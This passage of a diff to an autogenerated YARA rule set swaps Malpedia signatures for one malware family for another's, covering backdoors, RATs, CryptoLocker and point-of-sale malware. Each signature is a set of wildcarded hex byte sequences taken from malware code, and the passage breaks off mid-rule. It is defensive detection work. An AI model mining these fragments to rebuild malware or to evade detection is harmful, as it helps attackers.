488b6c2458 488b742460 } + $sequence_3 = { 4c8d442470 897c2470 488d542468 897c2468 488bcb e8???????? 85c0 } + $sequence_4 = { 498bc6 4823cb 4823c3 483bc1 7354 6690 b910000000 } + $sequence_5 = { e8???????? 85c0 0f85c6000000 448b442468 } + $sequence_6 = { 488b8dd00c0000 4833cc e8???????? 4881c4f80d0000 415f 415d 415c } + $sequence_7 = { 33c0 488bb424a0000000 4c8bb424a8000000 488bac2498000000 4c8b7c2460 488b4c2450 } + $sequence_8 = { 751b ff15???????? 488bce 418907 } + $sequence_9 = { 488d0592fcffff 48894630 488d0597fcffff 48894638 488d059cfcffff 48894640 } condition: - 7 of them and filesize < 147456 + 7 of them and filesize < 270336 } -rule MALPEDIA_Win_Skyplex_Auto : FILE +rule MALPEDIA_Win_Acbackdoor_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "b9600ce3-b74e-5061-ac1d-1291ed2f5256" + id = "5acb810f-7fcf-50a8-b5e5-5957312412ae" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.skyplex" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.skyplex_auto.yar#L1-L120" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.acbackdoor" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.acbackdoor_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "30e30eac39bd800313b58f678b351c49e62a23e2940a68311cb3c8e508d044fd" + logic_hash = "e7c1851e66beefe0ede613bab170645d1cd40698015b7587734102d809a005df" score = 75 quality = 75 tags = "FILE" @@ -100517,32 +100683,32 @@ rule MALPEDIA_Win_Skyplex_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 85c0 0f84c8000000 68???????? 8d8538f7ffff 50 e8???????? 83c408 } - $sequence_1 = { c1f805 57 8d3c85c0af4100 8b07 83e61f c1e606 03c6 } - $sequence_2 = { 6bc930 8975e0 8db1709c4100 8975e4 eb2a } - $sequence_3 = { f7bd1cf7ffff 8b849520f7ffff 50 8d8d40fbffff 51 ff15???????? } - $sequence_4 = { 85c0 7430 68???????? 8d8d38f7ffff 51 } - $sequence_5 = { 6a01 ff15???????? c78544f6ffff01000000 eb0f 8b8d44f6ffff } - $sequence_6 = { e8???????? 83c404 99 f7bdc0f6ffff 8b9495c4f6ffff } - $sequence_7 = { 33f6 33c0 0fbe84c158564100 6a07 c1f804 } - $sequence_8 = { 755b e8???????? 0fb6c8 85c9 } - $sequence_9 = { 8b02 8b4df0 51 8b502c ffd2 8945fc 837dfc00 } + $sequence_0 = { e8???????? 85c0 0f8524020000 83fd04 0f8326020000 85ed 0f853c020000 } + $sequence_1 = { e8???????? c70424???????? ff15???????? 894500 85c0 7488 803e2f } + $sequence_2 = { e8???????? 8b83f0010000 05b8030000 890424 e8???????? 8b83f0010000 89442420 } + $sequence_3 = { e8???????? 803f04 89c5 7567 8d440001 39c6 7555 } + $sequence_4 = { e9???????? 8b6c2448 8b9c24c0000000 8b83f4000000 85c0 0f85d8020000 8b03 } + $sequence_5 = { c783b008000000000000 c7838c05000001000000 c7839005000001000000 c7839405000005000000 895c2404 890424 e8???????? } + $sequence_6 = { 8d57fe 0fb7c0 39d0 0f85bc050000 8d4306 8d342b 89442458 } + $sequence_7 = { c7442408???????? c7442404???????? 890424 e8???????? 84c0 0f8519050000 8b83e4000000 } + $sequence_8 = { ffd0 85c0 0f8863010000 39c5 0f865b010000 29c5 01c7 } + $sequence_9 = { c744242005000000 e9???????? 83c803 8906 8b4304 89442410 85c0 } condition: - 7 of them and filesize < 262144 + 7 of them and filesize < 1704960 } -rule MALPEDIA_Win_Ddkong_Auto : FILE +rule MALPEDIA_Win_Cryptolocker_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "18188be3-073f-50a3-9f50-97e094dccbb5" + id = "1c4f4307-498a-5b8a-b0ac-d9860b1cffe0" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ddkong" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ddkong_auto.yar#L1-L119" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptolocker" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cryptolocker_auto.yar#L1-L120" license_url = "N/A" - logic_hash = "91db8e15d23c634005ba3b638556ede7055d1f867550b80fb7edc67358abbb64" + logic_hash = "0e60803263408ddfb3182de11bb9ae9942a6a4eed3e22029213fee0c658ec6ec" score = 75 quality = 75 tags = "FILE" @@ -100556,32 +100722,32 @@ rule MALPEDIA_Win_Ddkong_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8065d300 8d45c0 50 53 ffd6 50 ffd7 } - $sequence_1 = { c644241561 c64424166c c644241746 c644241b00 ff15???????? 50 ff15???????? } - $sequence_2 = { ebcd 53 53 53 } - $sequence_3 = { bb???????? 50 53 c645a457 c645a561 c645a669 } - $sequence_4 = { 8d8500ffffff 50 53 ffd7 } - $sequence_5 = { 56 8b35???????? 8d45ec 57 bb???????? 50 53 } - $sequence_6 = { c645b474 8d45ac c645b541 50 8d45f0 } - $sequence_7 = { 8d45a4 bb???????? 50 53 } - $sequence_8 = { 7427 837d08ff 7421 8d45dc 6a10 50 ff7508 } - $sequence_9 = { 50 ffd6 898504ffffff 8d45c4 } + $sequence_0 = { c1e810 50 8b4610 52 ffd0 0fb6c0 5e } + $sequence_1 = { 83f80d 7605 663bc3 7504 } + $sequence_2 = { 8b06 8945e0 8b4604 8945e4 8b4d14 } + $sequence_3 = { 7539 ff7508 8b55ec 8b4de8 e8???????? } + $sequence_4 = { 48 7527 33f6 397714 7620 8b1d???????? 8b4710 } + $sequence_5 = { 5d c21800 8b4304 6a40 ff7518 8b4004 } + $sequence_6 = { ff15???????? 668b45dc 66a3???????? 8be5 5d c3 33c0 } + $sequence_7 = { 4e 49 79e4 5b } + $sequence_8 = { 740e 50 52 ff35???????? ff15???????? 5f } + $sequence_9 = { 8bd8 81fb7a000780 750e 807dff00 751f } condition: - 7 of them and filesize < 81920 + 7 of them and filesize < 778240 } -rule MALPEDIA_Win_Grateful_Pos_Auto : FILE +rule MALPEDIA_Win_Bleachgap_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "7572cc07-80f2-55f7-bf6f-ae8865b15e70" + id = "273003cf-3dbb-5afb-a5ea-bb6d27dae595" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.grateful_pos" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.grateful_pos_auto.yar#L1-L163" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bleachgap" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bleachgap_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "6a2ca8a11a50086a2cefa0fa6fd58b658c3b7b35f75875da8a4dcf3d3e8baf00" + logic_hash = "e20e0cd9d2a699ef9480dfe92d72685e3d909ce98e8e306df6822787c7e8d012" score = 75 quality = 75 tags = "FILE" @@ -100595,38 +100761,32 @@ rule MALPEDIA_Win_Grateful_Pos_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 7411 e8???????? e8???????? 33c0 e9???????? } - $sequence_1 = { eb07 b8fcffffff eb02 33c0 } - $sequence_2 = { e8???????? 99 b980ee3600 f7f9 } - $sequence_3 = { 83f801 7510 e8???????? e8???????? } - $sequence_4 = { 7407 b8f6ffffff eb02 33c0 } - $sequence_5 = { b8feffffff eb1a b8fdffffff eb13 b8fcffffff } - $sequence_6 = { 0385d0fbffff 8985d0fbffff 6a18 6a00 8d4de4 51 e8???????? } - $sequence_7 = { 0fb61401 52 b804000000 6bc000 } - $sequence_8 = { 83e80e 50 e8???????? 83c40c 85c0 7457 6a03 } - $sequence_9 = { 894110 8b550c 8b420c c1e803 50 68ff000000 8b4dfc } - $sequence_10 = { 0f8c8c000000 8b8df8fffdff 0fb6940dfafffdff 83fa3a } - $sequence_11 = { 83bdd0fbffff00 7568 6a0f 8b85e0fbffff 83e80f } - $sequence_12 = { 83f830 7c62 8b8df8fffdff 0fb6940dfefffdff } - $sequence_13 = { 8945fc c785f8fbffff00000000 c785e8fbffff00000000 8b4508 50 6a00 6810040000 } - $sequence_14 = { 0fbe0401 83f04d 88842486010000 b801000000 486bc037 } - $sequence_15 = { ff15???????? 837c246400 750a b801000000 e9???????? } + $sequence_0 = { 8b4110 89500c 8b4110 894210 8b442410 895110 894a0c } + $sequence_1 = { 8d8d80fdffff e8???????? 8d8d48feffff e8???????? 8ac3 8b4df4 64890d00000000 } + $sequence_2 = { c78514fdffff00000000 c78524fdffff00000000 c78528fdffff00000000 0f1000 0f118514fdffff f30f7e4010 660fd68524fdffff } + $sequence_3 = { 83f81f 0f8783010000 51 52 e8???????? 83c408 8b8d5cffffff } + $sequence_4 = { 52 e8???????? 83c408 8a85bffeffff eb61 8b55bc 83ff10 } + $sequence_5 = { 83c404 83ee01 7839 0f1f00 56 57 e8???????? } + $sequence_6 = { 6859040000 68???????? 68db000000 e9???????? 55 e8???????? 83c404 } + $sequence_7 = { 46 8ac8 84c0 75dc 84c0 0f845b020000 e9???????? } + $sequence_8 = { 8b542424 8b4c2440 89450c 03ca 8b44243c 894d10 8b04b8 } + $sequence_9 = { 8945d0 8d4344 8945d4 8d434c 8945d8 8d4354 8945dc } condition: - 7 of them and filesize < 3964928 + 7 of them and filesize < 4538368 } -rule MALPEDIA_Win_Qadars_Auto : FILE +rule MALPEDIA_Win_Chaperone_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "db370ffd-dc25-54ab-be3c-753161f66e40" + id = "5d73acaa-0673-57ad-848f-864644fbbeea" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.qadars" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.qadars_auto.yar#L1-L168" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.chaperone" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.chaperone_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "b7f3cdd5f9bd5d75d1b4c3d8620e10078807a9df5c67d92510598cbd69ac717d" + logic_hash = "891c6d4b90ff2712f27f9dbb971bf9587d22b60dd85391f9a0f86beba2f74383" score = 75 quality = 75 tags = "FILE" @@ -100640,38 +100800,32 @@ rule MALPEDIA_Win_Qadars_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 85c0 7410 8d642400 8b0b 48 c7048100000000 75f4 } - $sequence_1 = { 8910 8b4510 85c0 7406 c700???????? 8b4514 } - $sequence_2 = { 56 8d4dcc e8???????? 8d4dcc e8???????? 8bc6 5e } - $sequence_3 = { 8b4dec 39590c 7405 ff490c eb25 8b4104 3bc3 } - $sequence_4 = { 6a04 8d550c 52 8d443801 } - $sequence_5 = { 8945fc 8b45e8 6a10 8945f8 e8???????? 83c404 } - $sequence_6 = { 8b4510 8b08 51 52 8d4df0 897704 8975f4 } - $sequence_7 = { 8b00 50 e8???????? 8b45fc 50 e8???????? 83c408 } - $sequence_8 = { 6a00 8d4df4 51 6a04 8d55f8 } - $sequence_9 = { 83c40c 6805010000 8d8df8feffff 51 } - $sequence_10 = { 6a01 8b55fc 52 ff15???????? 83c408 } - $sequence_11 = { 6a01 6a08 ff15???????? 83c408 } - $sequence_12 = { 51 8b55f0 52 ff15???????? 83c40c } - $sequence_13 = { 50 8d8d98fcffff 51 e8???????? } - $sequence_14 = { 8945fc 6a02 8b85d4fdffff 50 } - $sequence_15 = { 750b 68???????? ff15???????? 6a00 } + $sequence_0 = { 488b442458 4839442428 0f8dd0000000 0fb6442421 83c001 } + $sequence_1 = { ff15???????? 48898424902b0000 488d742470 488bbc24902b0000 b990180000 } + $sequence_2 = { b9ffff1f00 ff15???????? 4889842450020000 4883bc245002000000 0f842b020000 4c8d842458020000 baff010f00 } + $sequence_3 = { 48898424c0020000 837c243400 746b 4c8b842490000000 8b542434 488b8c24c0020000 } + $sequence_4 = { 488d7c2450 488d35fba70000 b926000000 f3a4 } + $sequence_5 = { 4889542410 48894c2408 4883ec48 488b442460 0fb68000010000 88442421 } + $sequence_6 = { 488b0424 480590180000 48890424 ebb7 488b442420 } + $sequence_7 = { 85c0 750a b801000000 e9???????? 488d442440 4889842498030000 488d842460030000 } + $sequence_8 = { 4533c9 4533c0 33d2 33c9 e8???????? 488d158a090100 } + $sequence_9 = { 488bd9 448d6eff 443bd7 754f 4c8d0565ce0000 458bcd ba00010000 } condition: - 7 of them and filesize < 630784 + 7 of them and filesize < 373760 } -rule MALPEDIA_Win_Action_Rat_Auto : FILE +rule MALPEDIA_Win_Orchard_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "0abe3565-6584-5599-b7de-461d5c2244c8" + id = "5c398118-a219-5655-a01d-698db312ac7e" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.action_rat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.action_rat_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.orchard" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.orchard_auto.yar#L1-L159" license_url = "N/A" - logic_hash = "5ed778484db64ab13a477929c07da39230f4ad04ded616573b48c243aaef2b6f" + logic_hash = "ef8c17e904478cac826167cfa0e1c29f054430dec351151f351e3917ccca81f2" score = 75 quality = 75 tags = "FILE" @@ -100685,32 +100839,38 @@ rule MALPEDIA_Win_Action_Rat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b10 8955ec 8b45ec 3b45f0 7707 e8???????? eb3c } - $sequence_1 = { 894d9c c645fc00 8d4db0 e8???????? c745fcffffffff 8d4d18 e8???????? } - $sequence_2 = { 8b4df8 c1e104 81c1???????? e8???????? 8b55f8 c1e204 038298f80210 } - $sequence_3 = { 51 ff15???????? 83c404 85c0 7412 0fbe5508 83ea30 } - $sequence_4 = { 8b55f4 837a1800 7420 0fb645fb 50 8b4df4 8b4918 } - $sequence_5 = { e8???????? 83c408 8d450c 50 8b4dec 83c104 51 } - $sequence_6 = { d1e8 8945ec 8b4dec 034dc8 894de0 8b55f8 } - $sequence_7 = { 8d4dec 51 8b4d08 e8???????? 50 8d55d0 } - $sequence_8 = { 7702 eb02 eb9f 6a00 8b4dd4 51 8d4dd8 } - $sequence_9 = { 8d4dd8 e8???????? 50 e8???????? 83c414 8945d4 8d4dd8 } + $sequence_0 = { 8b49fc 83c223 2bc1 83c0fc 83f81f 0f877e030000 52 } + $sequence_1 = { 83c028 895de0 8b5de8 894348 } + $sequence_2 = { 8b75a8 46 56 e8???????? 8bf8 } + $sequence_3 = { 89542420 f7e1 8bc8 8954240c } + $sequence_4 = { 56 ff15???????? ff15???????? 50 6a00 } + $sequence_5 = { 8d442410 50 ff15???????? 6685c0 } + $sequence_6 = { 6a05 c70600000000 c7461000000000 c746140f000000 68???????? } + $sequence_7 = { f7f9 81c2d0070000 52 ffd6 } + $sequence_8 = { 0f877e030000 52 51 e8???????? 83c408 } + $sequence_9 = { 50 ff15???????? 83f805 7507 } + $sequence_10 = { c645fc08 e8???????? 894604 83c404 8d4718 897034 8d5804 } + $sequence_11 = { 83c404 e8???????? 99 b95b000000 f7f9 } + $sequence_12 = { 89542428 8b54240c 83d200 03c1 } + $sequence_13 = { e8???????? 894604 83c318 897730 } + $sequence_14 = { 8bc8 8bc7 8d9d48ffffff c645fc03 } + $sequence_15 = { 8bc8 8bc7 8d5c2460 c68424a800000001 e8???????? 50 } condition: - 7 of them and filesize < 480256 + 7 of them and filesize < 4716352 } -rule MALPEDIA_Win_Bunnyloader_Auto : FILE +rule MALPEDIA_Win_Pkybot_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "0daa091a-7685-5a2e-b265-d5329b5c0a21" + id = "29bf327d-061e-5e00-99c9-e0f77546c9d5" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bunnyloader" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bunnyloader_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pkybot" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pkybot_auto.yar#L1-L115" license_url = "N/A" - logic_hash = "b53a936a0dceb8c6261eaef889e6613b1973524457e163036a774308b6a54923" + logic_hash = "8f4c476e3b3790c8de41f37bef9cc1cce302daf7501c6563be237c0b8f2d2ef4" score = 75 quality = 75 tags = "FILE" @@ -100724,32 +100884,32 @@ rule MALPEDIA_Win_Bunnyloader_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff742414 ba40000000 8bcf ff750c 50 e8???????? 83c40c } - $sequence_1 = { e9???????? 8b4318 8b560c 89542420 a828 745a b9???????? } - $sequence_2 = { c745dc00000000 89857cffffff 7432 50 8d4dd4 e8???????? ffb57cffffff } - $sequence_3 = { 894df4 85c9 743a 8bc8 33c0 83c101 13c0 } - $sequence_4 = { c6853fffffff00 8d95b8feffff ffb53fffffff 8d8df8fdffff c645fc2d e8???????? 83c404 } - $sequence_5 = { e8???????? 8b4df8 83c408 8b550c 6689044a 8a06 3c20 } - $sequence_6 = { 8d5e54 8bd3 894650 8bcf e8???????? 8bbd64feffff eb2d } - $sequence_7 = { e8???????? 83c408 e9???????? 8b442420 807c241700 0f8418030000 807e5700 } - $sequence_8 = { e8???????? 8bf8 8b45e4 03fe 13d3 83c701 13d3 } - $sequence_9 = { c6464400 8a4201 884645 803a00 746e 0fb64201 33c9 } + $sequence_0 = { 8bf0 eb02 33f6 8b4704 0590000000 894620 } + $sequence_1 = { 33c0 e9???????? 53 6a10 ff7510 8d45f0 } + $sequence_2 = { 53 ff7004 ff30 6aff } + $sequence_3 = { 7407 46 8a06 84c0 79eb 8bc6 } + $sequence_4 = { 7510 8b4e04 21413c c741300d000000 } + $sequence_5 = { 6801000040 ff7510 ff750c e8???????? } + $sequence_6 = { 7503 8b7104 83c10c e8???????? 50 8bce } + $sequence_7 = { 8b07 8bcf ff5008 6a2c e8???????? } + $sequence_8 = { 8b4008 eb08 e8???????? 59 } + $sequence_9 = { 56 ff7510 ff750c ff7508 ff15???????? 85c0 } condition: - 7 of them and filesize < 2998272 + 7 of them and filesize < 204800 } -rule MALPEDIA_Win_Crackedcantil_Auto : FILE +rule MALPEDIA_Win_Former_First_Rat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "cc3fcc34-6200-516b-a930-713cd7528fd1" + id = "b32c8876-3cb4-5a83-afbc-8273b6710cbb" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.crackedcantil" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.crackedcantil_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.former_first_rat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.former_first_rat_auto.yar#L1-L170" license_url = "N/A" - logic_hash = "63fa5a97e37e9297a9b2c0a9f33b3e3f4a0c35e0f5f733be56805a4bbd636bfb" + logic_hash = "993e92398130145e5edd81dd2e97cc96804b675ca01f408cd00440763a5fee35" score = 75 quality = 75 tags = "FILE" @@ -100763,32 +100923,38 @@ rule MALPEDIA_Win_Crackedcantil_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ffc8 89442420 837c242400 7e45 488b442428 4883780800 7429 } - $sequence_1 = { e8???????? 90 488d8c24e06f0000 e8???????? 488d842483000000 488bf8 33c0 } - $sequence_2 = { f7d9 81e9b2638081 29cb 59 81c3e75cef77 81ebcdbddaf2 01d8 } - $sequence_3 = { ffc9 8bc9 488b542478 88040a 488b542438 488b4c2478 e8???????? } - $sequence_4 = { f3aa 0fb684248e000000 88842490040000 660f6f842490570000 660f7f842470350000 488b8424c80f0000 f30f6f00 } - $sequence_5 = { e8???????? 90 488d842470030000 4889842478030000 488b942478030000 488d0de1993000 e8???????? } - $sequence_6 = { e8???????? 488bc8 e8???????? 488bc8 e8???????? 898424301c0000 ba08000000 } - $sequence_7 = { f3aa 488d8424b8020000 488bf8 33c0 b901000000 f3aa 488d8424b9020000 } - $sequence_8 = { ffc0 89442430 488b442478 0fb74060 ffc8 39442430 7d3d } - $sequence_9 = { e9???????? 9c 4156 4883ec08 4c893424 ff3424 415e } + $sequence_0 = { 898dd4feffff c785e0feffff02000000 899decfeffff 899d04ffffff 8d5001 8a08 40 } + $sequence_1 = { 53 68???????? e8???????? 83c408 eb08 8bd8 899d08efffff } + $sequence_2 = { e8???????? 83c404 c744242800100000 6800100000 e8???????? 83c404 89442438 } + $sequence_3 = { 7505 e8???????? 8b15???????? a1???????? 8b0d???????? 8995c8eeffff 8b15???????? } + $sequence_4 = { 83c40c 33c0 6803010000 8d8df8feffff } + $sequence_5 = { c785d8feffff00000100 c7850cffffff00000000 89b5f8feffff 0f8455010000 8da42400000000 a1???????? 8b9508ffffff } + $sequence_6 = { c745e400040000 837d1400 8b4ddc 8d55e4 8d0433 7415 6810040000 } + $sequence_7 = { 83c404 89442468 3bc3 750d 68???????? } + $sequence_8 = { 413bc6 0f848d010000 488d542440 488d4c2450 ff15???????? } + $sequence_9 = { 488d8c24a0000000 e8???????? 4d85f6 751d } + $sequence_10 = { e8???????? eb7a 4983f8fe 7605 } + $sequence_11 = { 4885f6 7456 488b4b08 4885c9 7444 } + $sequence_12 = { 48c783900000000f000000 c6437800 48837b6010 7209 488b4b48 } + $sequence_13 = { 48894720 488d0498 48894728 b001 488b9c24a0000000 } + $sequence_14 = { 488d542420 e8???????? 90 48837c244008 7275 } + $sequence_15 = { 488d942490020000 488d4c2440 e8???????? 90 } condition: - 7 of them and filesize < 37863424 + 7 of them and filesize < 626688 } -rule MALPEDIA_Win_Fullmetal_Auto : FILE +rule MALPEDIA_Win_Royalcli_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "b8b29202-9be6-50e1-9bec-3cebf32dec61" + id = "9a5a0dbf-041d-5a71-ace4-cc85bbf8dbac" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fullmetal" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fullmetal_auto.yar#L1-L95" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.royalcli" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.royalcli_auto.yar#L1-L130" license_url = "N/A" - logic_hash = "c47370c8b8f3f3ccbb9778b64f7c7a952cf6e37e2cb16598ed18037ff7fcc6b0" + logic_hash = "c1838945d5c33b64e750d6ae434f43dd65441d3926695dd6e2b710434dc1c7bb" score = 75 quality = 75 tags = "FILE" @@ -100802,32 +100968,34 @@ rule MALPEDIA_Win_Fullmetal_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 90 8b4714 90 c1e80d } - $sequence_1 = { 488b05???????? 488d4de0 4d63c8 488bd3 4c8d8300010000 } - $sequence_2 = { e9???????? 488d1580960200 488bcb ff15???????? } - $sequence_3 = { 85c0 7918 488d542420 488d0dc0b60200 } - $sequence_4 = { 83e03f 4c8d3cc0 4a8b84e9404a0400 4a8b44f828 488945e7 458be1 } - $sequence_5 = { 85c0 7560 49ffc6 6646392c73 75f6 } - $sequence_6 = { eb20 bffdffffff 488b9424c8000000 488d0d2bc30200 4883c212 } - $sequence_7 = { 415e c3 8bc1 488d0df7990200 } + $sequence_0 = { 6a02 53 56 c745e844006900 c745ec73006100 c745f062006c00 c745f465004300 } + $sequence_1 = { 33f6 85ff 7e4b 4f c1ef02 8d4a01 } + $sequence_2 = { 66895008 6800000080 8d85d8fdffff 50 ffd3 83f8ff 7421 } + $sequence_3 = { 6840000100 89b5c0feffff e8???????? 83c404 } + $sequence_4 = { 5d c3 56 57 6a01 50 e8???????? } + $sequence_5 = { 33cd e8???????? 8be5 5d c3 8b85e8fcffff 6840771b00 } + $sequence_6 = { 68???????? ffd7 8d55e8 52 e8???????? 83c404 8bd8 } + $sequence_7 = { 8b5d0c 8995bcf9ffff 8b5518 899da8f9ffff 8995b8f9ffff 7d11 33c0 } + $sequence_8 = { 8b85bcfeffff 50 33f6 ff15???????? e9???????? 3d00000100 0f8f2bffffff } + $sequence_9 = { 8d85c4fdffff 50 68???????? 68???????? 68???????? ffd6 bf???????? } condition: - 7 of them and filesize < 733184 + 7 of them and filesize < 204800 } -rule MALPEDIA_Win_Slip_Screen_Auto : FILE +rule MALPEDIA_Win_Grease_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ad9c8d39-15d3-5df8-9251-a49652741d85" + id = "ecfbbfe9-c011-518f-ab9d-ed514af53077" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.slip_screen" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.slip_screen_auto.yar#L1-L126" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.grease" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.grease_auto.yar#L1-L234" license_url = "N/A" - logic_hash = "dad34e4a0f7996ab63085bce3884e3e4048e2436bb6df0518e66ce50f19fbbe3" + logic_hash = "7c8c14c35a0def9c37a4dcb1634bd39b69466704a6828c5b8b5cd9c96e04b3c0" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -100839,71 +101007,84 @@ rule MALPEDIA_Win_Slip_Screen_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { eb0c 4881c7e8000000 4885f6 7405 488bce ff17 4d85f6 } - $sequence_1 = { 4885c9 0f8498000000 4863413c 4533db 448b8c0888000000 } - $sequence_2 = { 48898798000000 4885c0 0f8462020000 41b8ce48ccfd 8bd6 488bcb } - $sequence_3 = { 7447 410fb702 6685c0 7438 8d4abf 6683f919 448d4220 } - $sequence_4 = { eb02 33c0 4c8d9c2490040000 498b5b28 498b6b30 } - $sequence_5 = { 4903c1 4d8bc8 488bc8 48c1e020 48c1e920 480bc8 0fb7c1 } - $sequence_6 = { 0f1000 0f1145c4 f20f104810 f20f114dd4 8b4018 8945dc } - $sequence_7 = { 488b8100010000 4885c0 7403 f0ff00 488d4138 41b806000000 488d1547960000 } - $sequence_8 = { 488bd0 48c1e020 48c1ea20 480bd0 0fb7c2 6633443bfa } - $sequence_9 = { 0fafca 4403c9 440fafc8 458bc1 440fafc0 428d0c0a } + $sequence_0 = { 52 50 683f000f00 50 50 50 } + $sequence_1 = { 4053 4881ec90020000 488b05???????? 4833c4 4889842480020000 488d4c2472 } + $sequence_2 = { 4889442438 48897c2430 4533c0 c74424283f000f00 897c2420 ff15???????? 85c0 } + $sequence_3 = { 895c2420 ff15???????? 85c0 0f85e7000000 } + $sequence_4 = { 488b4c2460 ff15???????? b801000000 488b8c2480020000 4833cc e8???????? 4881c490020000 } + $sequence_5 = { 4533c0 488bd3 c744242804000000 4889442420 ff15???????? 488b4c2450 ff15???????? } + $sequence_6 = { 85c0 0f85e7000000 488b4c2460 488d442458 } + $sequence_7 = { 488d542470 41b93f000f00 4533c0 48c7c102000080 } + $sequence_8 = { 85c0 7534 488b4c2450 488d442458 41b904000000 4533c0 } + $sequence_9 = { 51 6a04 53 68???????? 52 895c2430 ffd5 } + $sequence_10 = { 68???????? 52 e8???????? 83c40c 8d84242c040000 55 50 } + $sequence_11 = { c644342064 e9???????? c644342070 e9???????? c644342073 e9???????? } + $sequence_12 = { 51 56 66899c2440010000 66899c2446010000 66c784244a0100000700 } + $sequence_13 = { e9???????? c644340c79 e9???????? c644340c77 e9???????? c644340c76 } + $sequence_14 = { 8d442424 8d5001 8a08 83c001 } + $sequence_15 = { 66899c2440010000 66899c2446010000 66899c244a010000 66899c244c010000 } + $sequence_16 = { 68???????? 52 e8???????? 83c408 8d442414 50 } + $sequence_17 = { 83c408 8d442410 50 681f000200 53 8d4c2430 } + $sequence_18 = { 6a00 50 c684241401000000 e8???????? 0fbe4c2410 56 